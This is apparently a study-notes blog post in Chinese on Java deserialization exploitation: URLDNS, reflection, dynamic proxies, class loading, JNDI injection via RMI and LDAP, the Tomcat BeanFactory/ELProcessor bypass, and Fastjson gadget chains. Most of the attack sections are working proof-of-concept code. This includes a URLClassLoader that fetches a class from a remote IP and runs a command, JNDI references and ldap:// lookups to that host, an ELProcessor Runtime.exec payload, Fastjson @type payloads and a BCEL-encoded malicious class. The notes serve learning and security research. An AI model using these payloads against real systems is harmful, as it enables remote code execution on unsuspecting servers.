在平时渗透测试中能够看到很多的Java反序列化类的漏洞,诸如Fastjson、log4j、eureka xstream deserialization等等,但是作为Java安全方面的盲对Java反序列化各种链方面了解的并不多,但是这些链条又极为重要,有助于更好的理解各种漏洞的产出和原理,因此以下笔记开始从底慢慢学起。
服务器反序列化数据时,客户端传递类的readObject代码会自动执行,给予攻击者在服务器上运行代码的能力。
要实现一个反序列化的攻击,要满足的条件如下:
首先介绍一下比较简单又比较符合上文的常见函数HashMap,HashMap最早出现在JDK1.2中,它的参数类型宽泛,几乎能够放入所有的参数类型,同时重写了readObject方法,至于为什么需要重写readObject类,可以大致看一下源码。
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
// Read in the threshold (ignored), loadfactor, and any hidden stuff
s.defaultReadObject();
reinitialize();
if (loadFactor <= 0 || Float.isNaN(loadFactor))
throw new InvalidObjectException("Illegal load factor: " +
loadFactor);
s.readInt(); // Read and ignore number of buckets
int mappings = s.readInt(); // Read number of mappings (size)
if (mappings < 0)
throw new InvalidObjectException("Illegal mappings count: " +
mappings);
else if (mappings > 0) { // (if zero, use defaults)
// Size the table using given load factor only if within
// range of 0.25...4.0
float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
float fc = (float)mappings / lf + 1.0f;
int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
DEFAULT_INITIAL_CAPACITY :
(fc >= MAXIMUM_CAPACITY) ?
MAXIMUM_CAPACITY :
tableSizeFor((int)fc));
float ft = (float)cap * lf;
threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
(int)ft : Integer.MAX_VALUE);
@SuppressWarnings({"rawtypes","unchecked"})
Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
table = tab;
// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
}
前面是对一些数据的规范化,应该是确保HashMap里面的数据一致性,后面才是关键,通过for循环,读取出了键值对,然后将键进行了Hash计算又重新放了回去,应该是为了保证Key的Hash唯一性,通过hash方法计算需要执行hashCode()方法,所以HashMap是很符合以上条件的。
其次我们来看一下URL类的,URL类中是存在hashCode()方法的,当HashCode的值不等于-1,就会调用URLStreamHandler方法中的hashCode()方法。
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
}
跳到URLStreamHandler方法中的hashCode()方法中,
protected int hashCode(URL u) {
int h = 0;
// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();
// Generate the host part.
InetAddress addr = getHostAddress(u);
if (addr != null) {
h += addr.hashCode();
} else {
String host = u.getHost();
if (host != null)
h += host.toLowerCase().hashCode();
}
// Generate the file part.
String file = u.getFile();
if (file != null)
h += file.hashCode();
// Generate the port part.
if (u.getPort() == -1)
h += getDefaultPort();
else
h += u.getPort();
// Generate the ref part.
String ref = u.getRef();
if (ref != null)
h += ref.hashCode();
return h;
}
函数中获取了协议类型,通过getHostAddress()获取ip地址,因此这里为触发DNS查询,再分别通过hashCode方法进行了hash计算,返回值后通过putVal()方法放入HashMap中。
所以当我们将URL类放入到HashMap中时,因为要计算hash,会触发hashCode()方法,HashCode方法中会调用gethostAddress触发dns查询,就能形成一条简单的利用链。HashMap.readObject()->HashMap.putVal()-> HashMap.hash()->URL.hashCode()。不过这里需要注意HashMap在put的时候,会调用hashCode()方法使得hashCode被缓存即hashCode为-1,必定会触发一次dns查询,这样就无法判断最终是否是反序列化导致的dns查询,因此这里需要在第一次put的时候通过反射机制将hashCode赋值为不等于-1,在put之后又让hashCode变回-1,确定dns查询是反序列化导致的。
关于反射机制:Java反射技术是指在运行时动态地获取类的信息并操作类的属性、方法和构造函数的一种机制。通过反射,可以在运行时获取类的成员变量、方法、构造函数等信息,并且可以在运行时通过这些信息来调用对象的方法、访问和修改对象的属性。
Java的反射API位于java.lang.reflect包中,主要包括三个核心类:Class、Field和Method。
类名 | 作用 |
---|---|
Class类 | 表示一个类或接口,在运行时可以通过它来获取类的构造函数、成员变量、方法等信息 |
Field类 | 表示一个类的成员变量,可以通过它来读取和修改对象的属性值 |
Method类 | 表示一个类的方法,可以通过它来调用对象的方法 |
关于反射的一些简单使用如下:
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
public class ReflectionTest {
public static void main(String [] args) throws NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchFieldException {
Person person=new Person();
Class<? extends Person> c=person.getClass(); //Class类可以看成了父类定义,可以通过操作此类对Person类进行操作
//实例化对象
Constructor<? extends Person> constructor=c.getConstructor(String.class,int.class);
Person person1=constructor.newInstance("aiwin",21);
System.out.println(person1);
//获取类属性
Field field=c.getDeclaredField("age"); //用于获取private私有属性
field.setAccessible(true);
field.set(person1,22);
System.out.println(person1);
//调用类里面的方法
Method method=c.getMethod("changeAge",int.class);
method.invoke(person1,23); //触发方法
System.out.println(person1);
}
}
URLDNS链触发例子:
序列化类:
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class SerializationTest {
public static void serialize(Object obj) throws IOException {
ObjectOutputStream outputStream=new ObjectOutputStream(new FileOutputStream("ser.bin"));
outputStream.writeObject(obj);
}
public static void main(String [] args) throws IOException, NoSuchFieldException, IllegalAccessException {
// Person person=new Person("aiwin",21);
HashMap<URL,Integer> hashMap=new HashMap<URL,Integer>();
URL url=new URL("http://kcovilzouv.dnstunnel.run");
// hashMap.put(url,1);
// serialize(person);
Class<? extends URL> c = url.getClass();
Field filedhashCode = c.getDeclaredField("hashCode");
filedhashCode.setAccessible(true); //设置为true可修改私有变量,解除访问修饰符的控制
filedhashCode.set(url,222); //第一次查询的时候让他不等于-1
hashMap.put(url,222);
filedhashCode.set(url,-1); //让它等于-1 就是在反序列化的时候等于-1 执行dns查询
serialize(hashMap);
}
}
反序列化类:
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
public class UnserializeTest {
public static Object unserizlize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream=new ObjectInputStream(new FileInputStream(Filename));
Object obj=objectInputStream.readObject();
return obj;
}
public static void main(String[] args) throws IOException, ClassNotFoundException {
System.out.println(unserizlize("ser.bin"));
}
}
可以发现在序列化的时候确实没触发dns查询,在反序列化的时候触发了dns查询。
Java动态代理是一种在运行时创建代理类和对象的机制,它可以在不修改源代码的情况下,为目标对象提供额外的功能或逻辑。通过动态代理,可以在方法调用前后做一些通用的处理,如记录日志、性能监测、事务管理等。
Java动态代理基于接口实现,它利用反射机制来实现动态地创建代理类和代理对象。在运行时,代理类会实现与目标类相同的接口,并且将方法的调用委托给目标对象执行。通过动态代理,我们可以在不修改原有代码的情况下,增强目标对象的功能。
Java提供了两种动态代理方式:基于接口的动态代理和基于类的动态代理。
在基于接口的动态代理中,我们需要定义一个实现InvocationHandler接口的代理类,在代理类中实现invoke()方法,该方法会在调用代理对象的方法时被执行。在invoke()方法中,我们可以进行一些前置和后置处理,并调用目标对象的方法。
在基于类的动态代理中,我们需要使用CGLib库来生成代理类。CGLib是一个强大的高性能字节码生成库,它通过继承目标类,动态生成代理类,从而实现对目标对象的代理。
使用动态代理可以在不改变源代码的情况下为目标对象添加通用的功能,提高代码的可维护性和灵活性。它在很多框架和库中被广泛应用,如Spring框架的AOP(面向切面编程)功能
动态代理在反序列化中的作用:readObject在反序列化中是自动执行的,而invoke在动态代理的函数调用中也是自动执行的,在漏洞利用中,如果当两条链没有实际的显式调用,但是使用了动态代理,可以通过动态代理进行隐式调用拼接两条链,不管前面执行任何方法,最后都会走到invoke()方法中。
Iuser接口:
package 动态代理;
public interface IUser {
void show();
}
Iuser实现类:
package 动态代理;
public class UserImpl implements IUser{
public UserImpl(){
}
@Override
public void show() {
System.out.println("调用了show方法");
}
}
userproxy类:
package 动态代理;
public class UserProxy implements IUser {
private UserImpl user;
public void setUser(UserImpl user){
this.user=user;
}
@Override
public void show() {
user.show();
System.out.println("代理展示");
}
}
package 动态代理;
import org.omg.CORBA.portable.InvokeHandler;
import java.lang.reflect.Proxy;
public class main {
public static void main(String[] args){
UserImpl user=new UserImpl();
//静态调用
// UserProxy userProxy=new UserProxy();
// userProxy.setUser(user);
// userProxy.show();
//动态调用,需要的参数为类加载器、接口、触发控制器
IUser userProxy= (IUser) Proxy.newProxyInstance(user.getClass().getClassLoader(), new Class<?>[]{IUser.class},new UserInvocationHandler(user));
userProxy.show();
}
}
invokeHandler类:
package 动态代理;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
public class UserInvocationHandler implements InvocationHandler {
IUser iUser;
public UserInvocationHandler(){
}
public UserInvocationHandler(IUser iUser){
this.iUser=iUser;
}
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
System.out.println("调用了"+method.getName());
method.invoke(iUser,args);
return null;
}
}
Java类加载机制是指在Java虚拟机(JVM)中将类的字节码加载到内存,并转换为可执行的Java对象的过程,由三部分组成:加载、连接、初始化。
加载(Loading):加载是指查找字节码文件,并创建一个对应的Class对象的过程。类加载器负责查找类文件,并将其字节码加载到内存中。在加载阶段,JVM需要完成以下动作:
连接(Linking):连接是指将已加载的类与其他类以及它们所使用的符号引用进行关联的过程。连接分为三个阶段:
初始化(Initialization):初始化是指对类的静态变量进行赋值,以及执行静态代码块(static块)的过程。在初始化阶段,JVM会按照顺序执行类的静态语句块和静态变量赋值操作。初始化是类加载过程的最后一步,类的实例化对象和静态方法首次调用都会触发初始化操作。
需要注意就是Java的类加载机制是延迟加载的,需要使用某个类的时才会进行加载,使用的是双亲委派模型机制,双亲委派模型简单来说就是当一个类加载器加载类的请求时,会按照一下步骤去加载:
这样子类的加载机制可以避免重复加载同一个类,确保类的全局唯一性,一般类的加载机制层级关系为:
Object->ClassLoader->SecureClassLoader->URLClassLoader->AppClassLoder
上面也说到,类加载的时候会去加载一个Java对象,并执行代码,因此可以通过动态类的加载方法加载任意的类从而实现一些命令执行的效果,以下是部分例子
编写一个Java的命令执行类,编译成class和jar形式
import java.io.IOException;
public class Test {
public static void rce(String cmd) throws IOException {
Runtime.getRuntime().exec(cmd);
}
}
public class loaderClassTest {
public static void main(String[] args) throws IOException, ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchMethodException, InvocationTargetException, NoSuchFieldException {
ClassLoader classLoader=ClassLoader.getSystemClassLoader();
URLClassLoader urlClassLoader=new URLClassLoader(new URL[]{new URL("http://120.79.29.170/test/")}); //jar file http协议都可
String cmd="calc";
Class<?> c=urlClassLoader.loadClass("Test");
c.getMethod("rce",String.class).invoke(null,cmd);
public class loaderClassTest {
public static void main(String[] args) throws IOException, ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchMethodException, InvocationTargetException, NoSuchFieldException {
ClassLoader classLoader=ClassLoader.getSystemClassLoader();
Method defindClassMethod=ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
defindClassMethod.setAccessible(true);
byte[] code= Files.readAllBytes(Paths.get("A:\\下载\\tmp\\Test.class"));
Class defineclass= (Class) defindClassMethod.invoke(classLoader,"Test",code,0,code.length);
defineclass.newInstance();
}
public class loaderClassTest {
public static void main(String[] args) throws IOException, ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchMethodException, InvocationTargetException, NoSuchFieldException {
ClassLoader classLoader=ClassLoader.getSystemClassLoader();
byte[] code= Files.readAllBytes(Paths.get("A:\\下载\\tmp\\Test.class"));
Class c = Unsafe.class;
Field theUafeField=c.getDeclaredField("theUnsafe");
theUafeField.setAccessible(true);
Unsafe unsafe= (Unsafe) theUafeField.get(null);
Class c2=unsafe.defineClass("Test",code,0,code.length,classLoader,null);
c2.newInstance();
}
Unsafe类的构造被私有化的,Unsafe类对外只提供一个静态方法来获取当前Unsafe实例,Unsafe是一个底层类,源码中有很多native标签,底层实现代码是C,因此Unsafe类只会被BootstrapClassLoader加载,在调用Unsafe对象时会判断当前加载器是否为空,如果不为空,则为抛出SecurityException异常,这样是为了防止ApplicationCloader去调用Unsafe对象,因此ApplicationCloader要加载UnSafe类需要通过反射获取一个Unsafe对象。
public final class Unsafe {
private static final Unsafe theUnsafe;
public static final int INVALID_FIELD_OFFSET = -1;
public static final int ARRAY_BOOLEAN_BASE_OFFSET;
public static final int ARRAY_BYTE_BASE_OFFSET;
public static final int ARRAY_SHORT_BASE_OFFSET;
public static final int ARRAY_CHAR_BASE_OFFSET;
public static final int ARRAY_INT_BASE_OFFSET;
public static final int ARRAY_LONG_BASE_OFFSET;
public static final int ARRAY_FLOAT_BASE_OFFSET;
public static final int ARRAY_DOUBLE_BASE_OFFSET;
public static final int ARRAY_OBJECT_BASE_OFFSET;
public static final int ARRAY_BOOLEAN_INDEX_SCALE;
public static final int ARRAY_BYTE_INDEX_SCALE;
public static final int ARRAY_SHORT_INDEX_SCALE;
public static final int ARRAY_CHAR_INDEX_SCALE;
public static final int ARRAY_INT_INDEX_SCALE;
public static final int ARRAY_LONG_INDEX_SCALE;
public static final int ARRAY_FLOAT_INDEX_SCALE;
public static final int ARRAY_DOUBLE_INDEX_SCALE;
public static final int ARRAY_OBJECT_INDEX_SCALE;
public static final int ADDRESS_SIZE;
private static native void registerNatives();
private Unsafe() {
}
@CallerSensitive
public static Unsafe getUnsafe() {
Class var0 = Reflection.getCallerClass();
if (!VM.isSystemDomainLoader(var0.getClassLoader())) {
throw new SecurityException("Unsafe");
} else {
return theUnsafe;
}
}
JDNI的全称是Java Directory and Naming Interface(Java目录和命名接口),它是Java平台提供的一种用于管理和查询分布式命名和目录服务的API。JDNI提供了一套标准的Java API,可以用于在Java应用程序中访问不同类型的目录和命名服务,如LDAP(轻量级目录访问协议)服务器、企业命名和目录服务(包括CORBA命名服务、NIS和Active Directory等)以及其他自定义实现的命名和目录服务。通过JDNI,开发人员可以在Java应用程序中使用统一的方式来访问这些分布式的命名和目录服务
一般来说,在Java SE平台中,要使用JNDI,必须要有JNDI类和一个或多个服务提供者,JDK默认包括以下命名/目录服务的提供者:
RMI是Java的一种远程方法的调用的机制,用于实现远程通信和分布式计算,允许在网络上不同的JVM中相互调用方法,可以让远程服务区实现具体的Java方法并且提供接口,客户端提供相应参数即可调用远程方法。RMI协议的通信协议使用的是JRMP,要求服务端和客户端偶读需要Java编写的,并且传输时通过序列化进行编码传输。
既然是序列化进行编码传输的,那么调用远程方法时,响应的必须必须是实现了java.io.Serializable 接口的,并且在远程对象的方法中需要实现java.rmi.Remote 接口,远程对象的实现类必须继承UnicastRemoteObject类。
此处RMI要进行远程调用,涉及了一个远程对象Stub,Stub对象上包含了远程对象的端口,地址等各种信息,并实现了网络通信的细节,Java提供了一个RMIRegistry来注册一个远程对象,默认在1099端口中,通过这个方法可以创建一个Stub对象来对远程对象进行代理。
stub在调用远程对象时提供的功能如下:
我们来对RMI的创建进行调试,大致查看下它远程服务的创建流程是什么样子的。
整体的发布思路就是创建了UnicastServerRef服务端的引用和UnicastRef客户端的引用,两者都通过LiveRef即真正处理网络请求的引用来进行通信,LiveRef通过创建TCPEndPoint获取host和port进行监听,通过里面的TCPtransport处理真正的网络请求。
下面我们简单来写个例子并分析下执行的流程:
package RMIjndi;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIServer {
public static void main(String[] args) throws RemoteException, AlreadyBoundException {
RemoteObjImpl remoteObj=new RemoteObjImpl();
Registry registry= LocateRegistry.createRegistry(1099);
registry.bind("remoteObj",remoteObj);
}
}
package RMIjndi;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.rmi.RemoteException;
public class JNDIRMIClient {
public static void main(String[] args) throws NamingException, RemoteException {
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
InitialContext initialContext=new InitialContext();
IRemoteObj iRemoteObj= (IRemoteObj) initialContext.lookup("rmi://localhost:1099/remoteObj");
System.out.println(iRemoteObj.sayHello("Hi"));
}
}
package RMIjndi;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.RemoteException;
public class JNDIRMIServer {
public static void main(String[] args) throws NamingException, RemoteException {
InitialContext initialContext=new InitialContext();
Reference reference=new Reference("Test","Test","http://120.79.29.170:7777/");
initialContext.rebind("rmi://localhost:1099/remoteObj",reference);
// initialContext.rebind("rmi://localhost:1099/remoteObj",new RemoteObjImpl());
}
}
首先看一下Reference类,需要的参数是一个类命,工厂对象和工厂对象URL的定位,
在进行lookup的时,调用的是原生的lookup方法进行查找
直至走到下面,会进行一个对象的解码,在解码的逻辑中,一开始的使用的是ReferenceWrapper_stub接口,因为ReferenceWrapper_stub属于RemoteReference,调用getReference()方法获取到远程的对象类名,并将ReferenceWrapper_stub变回Reference类,直至进入getObjectInstance()才开始执行代码。这里可以看到进行了trustURLcodebase的判断,如果它不会true会抛出异常,不会走到代码执行的方法中。
获取工厂对象的ClassName()后,进入到了getObjectFactoryFromReference()方法,通过factory类将Reference引用实例化为一个远程的对象。
在getObjectFactoryFromReference()方法中进行了loadClass开始了类加载。
使用URLClassLoader方法,从远程的URLcodebase中初始化加载远程对象类,并且返回。
最后通过newInstance()将远程加载的对象实例化,导致远程恶意代码的执行,这里的CodeBase的值其实就是返回的FactoryLocation。
调用链其实就是:
RegistryContext.decodeObject()->NamingManager.getObjectInstance()->factory.getObjectInstance()
LDAP是一种用于访问和管理分布式目录服务的协议,它提供了一种标准化的方法来组织、查询和操作目录信息。它在企业和网络环境中广泛应用,可用于实现诸如用户认证、权限管理和资源访问控制等功能。
JNDI除了可以对接LDAP服务,还可以对接LDAP服务,LDAP也能够返回一个JNDI Reference对象,利用过程与上面RMI Reference基本一致,只是lookup()中的URL为一个LDAP地址,不过使用LDAP服务的Reference远程加载Factory类中不受到com.sun.jndi.rmi.object.trustURLCodebase要为true的属性限制。不过在JDK 11.0.1、8u191、7u201、6u211之后 com.sun.jndi.ldap.object.trustURLCodebase 属性的默认值被调整为false进行了修复。
使用简单例子分析与RMI的不同:
客户端使用ldap寻找恶意LDAP对象:
package RMIjndi;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class JNDILADP {
public static void main(String[] args) throws NamingException {
InitialContext initialContext = new InitialContext();
initialContext.lookup("ldap://120.79.29.170:1389/Test");
}
}
在服务器上开启LDAP服务器,并指向存放着Test弹计算器恶意对象的Test.class,计算器弹出成功
调试一下代码,分析下关键的原因:
这里通过lookup()接口再进入了一个for循环,然后进入到了ComponentContext中的p_lookup()方法
通过p_resolveIntermediate得到var4为2,进入到了case为2中,再进入了LdapCtx类的c_lookup()方法中
创建了SearchControls类,设置了搜索的范围取值,设置了返回所有输学,以及允许返回Java对象,通过doSearchOnce()方法寻找Test对象,寻得DN为Test,attrs属性有又工程类,codebase等等,随后把entries中的属性取出来,赋值给了一个LDAPEntry对象,把里面的attrs属性给了var4,进入了decodeObject方法。
再往下走会来到一个 DirectoryManager.getObjectInstance()的方法中,与之前NamingManager不同的类。
随后的步骤与RMI基本一致,进入工程类获取Reference的方法中,再从codebase中加载Test类,使用URLClassLoader远程加载类后,使用Class.forName()动态加载一个类,通过newInstance()方法进行实例化,从而导致了恶意类被执行。
那么有没有一些其它的利用方式,或者通过其它的链子能够直接绕过TRUST_URL_CODE_BASE的判断,直接实现恶意类的加载呢?从前面的代码分析可以看到,无论是RMI或者LDAP,当factory获取到不为空的时,都会进入factory.getObjectInstance()方法中,因此可以从重写了factory的getObjectInstance()的类中寻找。
找到比较适合的方法有Tomcat中的BeanFactory类,它重写了getObjectInstance()方法,它的绕过直接将漏洞的利用面从仅仅只能从ObjectFactory实现类的getObjectInstance方法利用扩展为method.invoke()的使用,可以调用任意类的任意方法的机会,不过对任意类有一定的限制,至于为什么这样,从下方调试即可看到:
像以上符合条件的常用利用类,一般有:javax.el.ELProcessor#eval执行命令(Tomcat 8之后引入),groovy.lang.GroovyShell#evaluate(java.lang.String)通过Grooxy执行命令等。
首先直接通过springboot的方法引入tomcat依赖以及EL表达式:
<dependency>
<groupId>org.apache.tomcatgroupId>
<artifactId>tomcat-el-apiartifactId>
<version>8.5.35version>
dependency>
<dependency>
<groupId>org.springframework.bootgroupId>
<artifactId>spring-boot-starter-tomcatartifactId>
<version>1.5.18.RELEASEversion>
<scope>compilescope>
dependency>
<properties>
<java.version>1.8java.version>
<tomcat.version>8.5.35tomcat.version>
properties>
正常启动一个RMI服务,然后进行重绑定操作。
package com.example.demo;
import org.apache.naming.ResourceRef;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.naming.StringRefAddr;
public class JNDIRMIServer {
public static void main(String[] args) throws NamingException {
InitialContext initialContext = new InitialContext();
ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
resourceRef.add(new StringRefAddr("forceString", "x=eval"));
resourceRef.add(new StringRefAddr("x", "Runtime.getRuntime().exec('calc')"));
initialContext.rebind("rmi://localhost:1099/remoteObj", resourceRef);
}
}
首先前面与普通的RMI注入流程没什么两样,都是经过原生registry的lookup()接口后,进入了decodeObject()方法对对象进行解码,随后进入了NamingManger.getObjectInstance()方法中
通过getObjectFactoryReference()从重绑定的factory中获取到Tomcat的BeanFactory方法,随后进入到了BeanFactory的重写方法中。
进入到方法中后,首先将Java.el.ELProcesser赋值给了beanClassName,然后从当前线程获取了一个上下文的类加载器,通过类加载器加载了Javax.el.ELProcess赋值给了beanClass,
经过Introspector.getBeanInfo获取Java.el.ELProcesser的属性名称、类型、读写方法等赋值给了pda,实例化了Java.el.ELProcesser对象给了bean,从Reference中获取到forceString的值为x=eval赋值给了value,然后以,分割value的值,赋值给了arr数组,遍历arr数组,通过索引进行分割,将x作为key,javax.el.ELProcessor.eval(java.lang.String)为值放入HashMap中。
然后经过不断的遍历addrs的内容,将Runtime.getRuntime().exec(‘calc’)取出赋值给了value,再创建了一个对象数组,从HashMap寄forced中取出x的值即javax.el.ELProcessor.eval(java.lang.String)赋值给了method方法,再传入value以及实例化ELProcessor类,通过method.invoke()触发方法,造成恶意类的执行。
FastJson提供了快速、高效地将JSON数据解析为Java对象,或者将Java对象转换为JSON格式的字符串的能力。FastJson具有简单易用、性能优异等特点,广泛应用于Java开发中处理JSON数据的场景。可能是为了满足更多的功能化需要,所以Fastjson在解析的时候允许动态的实例化类,可以使用@type标签能够根据这个字段的值确定要实例化的对象类型,完成反序列化的需求,会自动调用@type标签中的setter、getter方法。
可以看到是通过循环遍历的方式,分别遍历了set方法、公开或静态的成员变量和get方法,但是可以看到并不是所有的get方法都能够被调用,只有这个get方法是Map、Collection、AtomicLong等等的这些类型或者是无参数的公共无返回值get()方法,或公共有参的get()方法,参数类型与对应字段类型一致。
既然我们知晓Fastjson能够调用所有的set方法以及满足条件的get方法,因此就可以寻找一些链子即某些类中的set或get方法能够进行恶意类的加载等形式造成危害。
JdbcRowSetImpl链主要是因为JdbcRowSetImpl的connection方法中存在lookup()方法,而lookup()方法中的参数this.getDataSourceName()刚好可以通过set方法来进行控制,并且继续往上找,找到了setAutoCommit方法刚好又调用了connect()方法,因此这样就可以通过lookup()进行loadClass()恶意动态加载类导致命令执行。
package com.example.demo;
import com.alibaba.fastjson.JSON;
import java.sql.SQLException;
public class FastJsonImpl {
public static void main(String[] args ) throws SQLException {
String s="{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"DataSourceName\":\"ldap://127.0.0.1:8085/SsrCwcTP\",\"autoCommit\":false}";
JSON.parseObject(s);
}
}
先自动调用了setDataSourceName()方法,设置dataSource的值为ldap加载的恶意服务,用于lookup()接口动态加载类
通过setAutoCommit方法去调用connect()方法,传入的参数var1要为false
进入了connect方法通过lookup接口调用ldap,通过了DirectoryManager管理器以及工厂类动态实例化了恶意的类,造成了恶意代码的执行。
前面我们说的JdbcRowSetImpl链很明显是出网的,而BasicDataSource链子可以在不出网的情况下使用,我们先上示例再进行分析。
package com.example.demo;
import java.io.*;
import com.alibaba.fastjson.JSON;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
import org.apache.tomcat.dbcp.dbcp2.BasicDataSource;
public class FastJsonBcel {
public static void main(String[] args) throws Exception{
ClassLoader classLoader = new ClassLoader();
byte[] bytes = convert("A:\\IDEA\\IdeaProjects\\untitled\\src\\RMIjndi\\Test.class");
String code = Utility.encode(bytes,true);
String s = "{\"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\"DriverClassName\":\"$$BCEL$$"+ code +"\",\"DriverClassLoader\":{\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"}}";
JSON.parseObject(s);
}
private static byte[] convert(String filePath) throws IOException {
File file = new File(filePath);
if (!file.exists()) {
throw new FileNotFoundException("文件未找到:" + filePath);
}
try (InputStream inputStream = new FileInputStream(file)) {
ByteArrayOutputStream byteOutput = new ByteArrayOutputStream();
byte[] buffer = new byte[4096];
int bytesRead;
while ((bytesRead = inputStream.read(buffer)) != -1) {
byteOutput.write(buffer, 0, bytesRead);
}
return byteOutput.toByteArray();
}
}
}
这里首先会自动getConnection()方法去触发调用createDataSource()方法
createDataSource()方法中如果dataSource为空就会调用createConnectionFactory()方法,而关键就在于这个方法中。
这个方法中通过Class.forName()方法进行了调用,并且driverClassName是通过setDriverName()可控制,而且ClassLoader也是通过setdriverClassLoader()也是可控的,可以指定动态类加载器,而forName的底层就是调用loadClass(),因此这里指定了bcel中的Classloader(),就会自动去调用里面的loadClass()。
可以看到这里的loadClass通过defineClass定义了一个类,而要进入这个方法的前提是调用createClass(),因此必须以$ B C E L BCEL BCEL开头,进入createClass()可以看到使用了decode()解码,因此事先要使用同样的encode()编码。
最后读取了字节流后就定义了恶意的class的字节码,转化为Java类后生成了我们自定义的恶意Class对象,返回给了driverFromCCL。
driverFromCCL通过构造器构造后进行了实例化,导致了RCE的执行。
这里可能存在疑惑,为什么getConnection方法会被调用?因为这里使用的是parseObject()方法,parseObject()会额外的将Java对象转为JSONObject对象,即调用JSON.toJSON(),在处理过程中会调用get()方法将参数赋值给JSONObject,相等于会调用所有的set()和get()方法。
那加入使用prase()能不能调用到getConnection()呢?其实也是可以的,当这里的key为JSONObject对象对象的时候,会调用JSONObject对象的toString()方法,而JSONObject是Map的子类,所以会调用该类的get()方法进行取值。
package com.example.demo;
import com.alibaba.fastjson.JSON;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import java.io.IOException;
public class test {
public static void main(String[] args) throws IOException {
//生成我们需要的bcel格式
JavaClass cls = Repository.lookupClass(evil.class);//将class对象表示java字节码的对象javaclass
String code = Utility.encode(cls.getBytes(), true);//将java字节码对象javaclass转化为JavaClass格式的字节码
System.out.println("$$BCEL$$" + code);
String poc = "{\n" +
" {\n" +
" \"aaa\": {\n" +
" \"@type\": \"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\n" +
" \"driverClassLoader\": {\n" +
" \"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" +
" },\n" +
" \"driverClassName\": \"$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQ$cbN$C1$U$3d$85$91$81qP$k$o$be$8d$x$c1$85$b3q$871$sF$T$93$89$Y1$b8$$$a5$c1$92$99$v$99$Z$I$bf$e5F$8d$L$3f$c0$8f2$de$a2A$Sm$d3$9e$9cs$ef$b9$b7$8f$8f$cf$b7w$A$t$d8w$90C$c5A$Vky$d4$M$ae$db$a8$db$d8$60$c8$9d$aaH$a5g$M$d9F$b3$cb$60$5d$e8$bedX$f5U$qo$c6aO$c6$f7$bc$X$90R$f1$b5$e0A$97$c7$ca$f0$l$d1J$lU$c2P$f7$85$O$3d9$e5$e1$u$90$5e_$86$da$93$T$V$b4$Y$9c$cb$a9$90$a3T$e9$u$b1$b1I$bc$a3$c7$b1$90W$ca$b8$L$s$e9x$c8$t$dc$85$8d$bc$8d$z$X$db$d8$a1$b2$d4I$b8$d8$c5$kC$ed$df$d2$M$r$e3$f3$C$k$N$bcvo$uE$caP$9dIJ$7b$d7$edy$5b$86$f2o$e2$dd8JUH$9d$9d$81L$e7$a4$d6h$fa$7fr$e8$ec$96$9cJ$c1p$d8X$88v$d2XE$83$d6$a2$e16$d6B$sI$L$HX$a2W6$83$d1$a4$L$n$83$C$b1sBF$b8r$f4$C$f6$8aL$r$fb$M$eb$e1$89$94$M$i$a3$pK$7b$O$Wy$8a$e4Z$s$e6$7e$3b$I$8b3$EE$e9Wh$95f$be$f2$X9f$a4$c0$db$B$A$A\n\"\n" +
" }\n" +
" }:\"xxx\"\n" +
"}\n";
JSON.parse(poc);
}
}
这里@{type:…org.apache.tomcat.dbcp.dbcp2.BasicDataSource…}最外层再套一层{}就会使得整一个是JSONObject,当成了key。
针对前面的漏洞,FastJson官方也是做了一定的修复,修复的主要方式就是加了一个checkAutoType()方法,可能是因为Fastjson要处理的逻辑足够复杂,所以修复的也并不完美,造成了能够绕过的情况。
可以大致看一下autoType的代码:
public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
if (typeName == null) {
return null;
}
if (typeName.length() >= 128 || typeName.length() < 3) {
throw new JSONException("autoType is not support. " + typeName);
}
String className = typeName.replace('$', '.');
Class<?> clazz = null;
final long BASIC = 0xcbf29ce484222325L;
final long PRIME = 0x100000001b3L;
final long h1 = (BASIC ^ className.charAt(0)) * PRIME;
